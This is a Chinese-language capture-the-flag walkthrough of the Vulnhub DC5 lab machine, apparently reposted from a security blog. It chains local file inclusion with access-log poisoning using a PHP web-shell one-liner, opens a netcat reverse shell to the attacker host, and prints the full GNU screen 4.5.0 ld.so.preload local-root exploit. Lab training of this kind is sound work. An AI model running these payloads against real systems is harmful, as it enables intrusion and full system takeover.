黑客零基础第三章-Web漏洞实战-文件上传DC5
Posted 白夜安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黑客零基础第三章-Web漏洞实战-文件上传DC5相关的知识,希望对你有一定的参考价值。
第五节内容讲述了文件包含漏洞LIF的利用原理,并在DVWA上进行了日志投毒结合LFI入侵的实验。本节以实战的方式,结合vulnhub靶机DC5让大家进一步熟练LFI结合日志投毒的实际应用。
如果靶机部署有疑问,请留言!
目录
1.信息收集
kali IP为192.168.17.4
发现靶机IP 192.168.17.8
使用第二章nmap命令扫描靶机,
nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 192.168.17.8
扫描结果如下,
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-23 10:44 EDT
Nmap scan report for 192.168.17.8
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35733/udp6 status
| 100024 1 41448/tcp6 status
| 100024 1 46892/udp status
|_ 100024 1 47115/tcp status
47115/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:7F:98:E9 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds
打开网页,是一个类似门户的网站,
枚举后发现contact上存在一个信息输入。
输入信息后,发现copyright 的信息由2009变为2020,疑似思LFI漏洞。
尝试了一下最简单的file,发现漏洞存在。
尝试打开access.log,发现能够打开,可以进行投毒。
2.获取低权限shell
投毒的一句话木马如下,
<?php system($_GET['cmd']) ?>
打开burp,刷新网页截获数据包,修改UA为一句话木马。
尝试触发一句话木马,成功!
在kali开启nc监听4444端口,浏览器输入以下连接,使用nc获取反向shell。
192.168.17.8/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.4 4444
3.提权
使用如下命令获取一个可交互式的shell,
python -c 'import pty;pty.spawn("/bin/bash")'
使用该命令查看SUID的程序,这里是一个常见的提权枚举。发现screen程序可能存在漏洞。
find / -perm /4000 2>/dev/null
seachsploit 命令查找该漏洞PoC,
将Poc拷贝到当前目录,
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
上面的Poc源码可以看出,整个Poc分为三部分,第一部分是编译出一个动态库的源码,第二部分是编译获取root shell的源码,第三部分是漏洞利用的脚本。
将Poc传到靶机,执行发现出错,这个错误可以通过dos2unix解决,
重新下载poc到靶机,执行后出错。
考虑把Poc三个部分分开执行,
编译第一部分动态链接库,
gcc -fPIC -shared -ldl -o libhax.so libhax.c
编译第二部分root shell
gcc -o rootshell rootshell.c
最终需要三个PoC如下,
将三个文件传到靶机tmp目录,
运行脚本,成功获取root,
4.总结
靶机入口是一个门户网站,其中有一个页面存在LFI。测试能够通过LFI访问access.log。使用LFI+日志投毒成功获取低权限shell。
提权是一个SUID的screen提权,过程稍微复杂。
以上是关于黑客零基础第三章-Web漏洞实战-文件上传DC5的主要内容,如果未能解决你的问题,请参考以下文章